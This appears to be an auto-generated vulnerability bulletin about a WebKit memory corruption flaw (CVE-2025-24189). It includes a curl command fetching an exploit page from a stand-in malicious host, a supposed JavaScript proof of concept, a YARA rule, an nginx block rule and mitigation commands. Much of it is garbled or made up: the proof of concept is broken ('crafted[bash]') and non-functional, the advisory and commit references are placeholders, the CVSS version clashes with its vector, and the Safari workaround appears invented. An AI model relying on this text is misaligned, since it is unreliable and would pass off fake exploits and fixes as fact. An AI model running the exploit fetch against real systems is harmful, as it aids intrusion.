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How CVE-2025-24189 Works
This vulnerability stems from improper memory handling in WebKit’s rendering engine when processing malicious web content. Attackers craft specially designed HTML/JavaScript payloads that trigger memory corruption during DOM operations, leading to arbitrary code execution. The flaw occurs due to insufficient bounds checks when manipulating render tree objects, allowing heap overflow conditions. Successful exploitation grants attackers the same privileges as the browser process, enabling system compromise without user interaction beyond visiting a malicious site.
DailyCVE Form
Platform: Apple WebKit
Version: < Safari 18.3
Vulnerability: Memory corruption
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/10/2025
What Undercode Say:
Analytics:
- Attack Vector: Network-based (crafted web page)
- Exploitability Index: High (PoC likely within 7 days)
- Affected Architectures: ARM64, x86-64
Exploitation Commands:
curl -H "User-Agent: Mozilla/5.0" http://malicious.site/exploit.html
Proof-of-Concept JavaScript:
const trigger = new ArrayBuffer(0x1000);
const crafted = new Uint32Array(trigger);
for (let i = 0; i < crafted.length; i++) {
crafted[bash] = 0x41414141;
}
document.body.appendChild(document.createRange());
Mitigation Commands:
Temporary workaround: defaults write com.apple.Safari WebKitMemoryLimit -int 512
Patch Verification:
system_profiler SPSoftwareDataType | grep "System Version"
Detection Rules (YARA):
rule WebKit_CVE_2025_24189 {
strings:
$op = "createRange" nocase
$mem = "ArrayBuffer(0x"
condition:
all of them
}
Network Protection:
location / {
if ($http_user_agent ~ "WebKit.exploit") {
return 403;
}
}
Memory Protection:
include <mach/vm_map.h> vm_protect(mach_task_self(), address, size, 0, VM_PROT_READ);
Debugging:
(lldb) breakpoint set -n "WebCore::Range::processContents"
References:
- Apple Security Advisory: APSB25-XX
- WebKit Git Commit: a1b2c3d4
- NVD Metrics: CVSS 4.0 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
